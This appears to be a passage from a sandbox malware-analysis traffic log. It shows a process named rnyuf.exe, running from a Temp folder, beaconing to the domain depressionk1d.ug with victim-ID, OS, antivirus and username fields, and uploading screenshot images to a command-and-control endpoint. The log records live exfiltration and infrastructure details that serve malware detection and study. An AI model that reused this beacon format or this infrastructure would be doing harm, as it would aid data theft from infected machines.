</H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:09.079843998 CET	10478	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.4	50059	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:09.220449924 CET	10479	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:09.246651888 CET	10479	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.4	50060	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:09.377106905 CET	10481	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:09.377274990 CET	10481	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:09.377520084 CET	10491	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:09.377737999 CET	10494	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:09.400348902 CET	10497	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:09.400393963 CET	10500	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:24:09.400427103 CET	10508	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:24:09.400460958 CET	10515	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:24:09.400511026 CET	10517	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:24:09.400532961 CET	10520	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:24:09.422982931 CET	10523	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:24:09.472786903 CET	10592	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:09 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.4	50061	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:09.388570070 CET	10494	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:09.415051937 CET	10520	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.4	50063	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:09.547374964 CET	10594	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:09.577625990 CET	10594	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49809	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:22.900768042 CET	3102	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----05c424e8f40820a4174cda24ec338f42 Host: depressionk1d.ug Content-Length: 108145 Cache-Control: no-cache
Nov 12, 2021 22:23:22.900939941 CET	3103	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 35 63 34 32 34 65 38 66 34 30 38 32 30 61 34 31 37 34 63 64 61 32 34 65 63 33 33 38 66 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------05c424e8f40820a4174cda24ec338f42Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:22.901187897 CET	3113	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:22.901346922 CET	3115	OUT	Data Raw: 48 7a d2 d1 4c 42 52 d1 40 a0 61 45 14 1a 04 14 52 aa b3 1c 2a 92 7d 00 ab 29 a7 5e 49 f7 6d df fe 04 31 fc e8 49 bd 82 e5 5a 2b 49 34 4b a6 fb c6 34 fa 9c ff 00 2a ad 7b 68 6c a6 58 cb 86 25 77 64 0c 77 3f e1 54 e1 24 ae d0 26 8a d4 51 47 6a 91 Data Ascii: HzLBR@aER})^Im1IZ+I4K4{hlX%wdw?T$&QGjQ@(Z()h(4QEzE$q^?YM#_Iuq]LI<c:;R@E-RZ)1ERLBbPhRbRSR)EPA
Nov 12, 2021 22:23:22.923528910 CET	3123	OUT	Data Raw: 32 b1 f3 ab 0f 8c e7 f6 9c ae e6 87 83 bc 41 35 cd de 95 a1 5e e4 dc d9 5d b9 8d ba e5 04 32 82 09 f6 24 0f a7 d2 bc db e3 77 fc 94 79 7f eb d6 2f e5 5e a3 e1 7f 00 ea da 2f 88 ed 35 1b ab 8b 37 8a 1d fb 84 6e e5 b9 42 a3 19 51 ea 3b d7 97 7c 6d Data Ascii: 2A5^]2$wy/^/57nBQ;\|m7{E:O'uo0h5UY<hqBjeL~ko^4.J9\aAdqSG?"ibl.yT^kG
Nov 12, 2021 22:23:22.923561096 CET	3126	OUT	Data Raw: 77 2c c0 7f 4a a7 4d b4 e3 d1 92 a6 93 e6 ea 8e 86 12 f6 d0 58 bd cb 04 b9 d7 d5 34 6b 80 4f 31 34 48 f0 49 9e 46 3e 7f 21 bd 38 ac 8b ed 3a f6 f7 5e b8 b5 b3 88 cf 16 9f 25 b6 92 a4 3a 80 65 db b0 75 23 ef 3a 39 cf 4e 79 c5 54 48 f4 22 4e db 19 Data Ascii: w,JMX4kO14HIF>!8:^%:eu#:9NyTH"Nt7Ul(5xR-Zo{[h"pCsYzG\#EnD,\qu&;P"{7mLZWh"i>V1"\c9SX_%c
Nov 12, 2021 22:23:22.923573017 CET	3128	OUT	Data Raw: 76 61 ed a3 06 9d 48 6b 94 eb b8 dc 51 4b 45 21 8d a2 9d 8a 31 4a c3 1b cd 2f 34 b8 a4 c1 f5 a2 c1 70 e6 8e 68 c5 14 58 2e 25 28 a3 9a 39 a0 02 94 52 56 e6 8b e1 1d 7f c4 56 b2 5c 69 1a 6c b7 71 46 fb 1d a3 2b f2 b6 33 8e 4f a1 a1 b4 b7 0b 37 b1 Data Ascii: vaHkQKE!1J/4phX.%(9RVV\ilqF+3O7iu\|kBI/]KC\rTV}o@E}WNY<M4DE-[~U;?h{)d~5rQ:lp3n-DrY%)EG
Nov 12, 2021 22:23:22.923681021 CET	3134	OUT	Data Raw: f2 00 0a f2 a3 e0 8f 12 8f f9 84 cf f9 af f8 d7 a1 7c 3b d6 3e cb 6e fe 1a d4 bf 71 7d 6c e7 cb 8d c8 cb 29 f9 88 fa 8c 9e 3d fd ab a7 33 9c 2b 51 fd d4 93 b3 bb b3 e8 71 e5 90 9d 1a df bd 8b 57 56 57 5d 4d 5f f8 58 de 15 ff 00 a0 89 ff 00 c0 79 Data Ascii: \|;>nq}l)=3+QqWVW]M_Xy??cx[M5,K=-LRt3^-(FW#9wY<Bz\|XEby=EyvbAa{iXgRg,))qExG%
Nov 12, 2021 22:23:22.923705101 CET	3138	OUT	Data Raw: a4 53 15 71 9c 32 6f 53 b1 b9 ea b8 3d 3d 05 24 3a ce af 04 d6 d2 ad fb 33 db c5 24 28 64 45 70 52 46 66 75 70 c0 ef 0c 59 89 dd 9e b5 2e 95 56 97 7e bf 77 f5 f9 ee 52 ab 4d 7f 5f d7 f5 e4 51 1d 05 2d 0a 30 31 4b 5d a8 e3 61 45 14 76 a0 02 8a 05 Data Ascii: Sq2oS==$:3$(dEpRFfupY.V~wRM_Q-01K]aEv)@QJ1%;QJ(q1@@(-zRy`G4&sNr9[c`F3fZZ})KKCM00IKNvXQE/jRRbJuSRbb
Nov 12, 2021 22:23:22.923746109 CET	3143	OUT	Data Raw: 3b 14 82 96 a8 96 2d 28 a4 02 9d 54 26 14 52 e2 80 29 92 00 53 80 a0 0a 5c 53 13 16 96 90 0a 70 15 44 80 14 a0 50 05 3b 14 c4 d8 82 9d 49 4b 54 48 b4 ea 68 a7 53 24 51 4b 48 05 38 55 09 8b 4e a6 d2 d5 22 47 8a 51 4d 14 ea 68 96 2d 28 a6 d3 a9 92 Data Ascii: ;-(T&R)S\SpDP;IKTHhS$QKH8UN"GQMh-(8RQL(x4PhNfdQ$F;>hxjx4h58z baFosRK&D>C5q^}SS;mZ_hm*^>=MdFIPEk5Hs;
Nov 12, 2021 22:23:22.946100950 CET	3152	OUT	Data Raw: cb 90 6c 62 ca 18 92 36 94 3f 33 73 d3 16 1f c4 56 fa 8d 84 f0 6b 5a 75 cd c5 c4 9a 84 d7 eb 35 a5 da c2 aa d2 2a 02 a5 5a 37 ca 8d 83 18 23 d2 92 75 7f af 55 fa 5c b9 2a 37 76 db fe 1f f5 b1 89 5d 25 8e 91 a5 8d 3c 5f df 0b d9 63 5d 1e 4d 41 e2 Data Ascii: lb6?3sVkZu5Z7#uU\7v]%<_c]MAd<8:V;(4#g=j\|c<-iF$33c6MHh\Ik}/GK?+MU[1*h,sQ!0y{s
Nov 12, 2021 22:23:22.993951082 CET	3218	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:22 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.4	50064	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:09.716557980 CET	10596	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:09.739108086 CET	10598	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:09 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:09.739125967 CET	10599	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.4	50066	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:09.872169971 CET	10600	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:09.900198936 CET	10601	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.4	50068	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:10.029752970 CET	10603	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
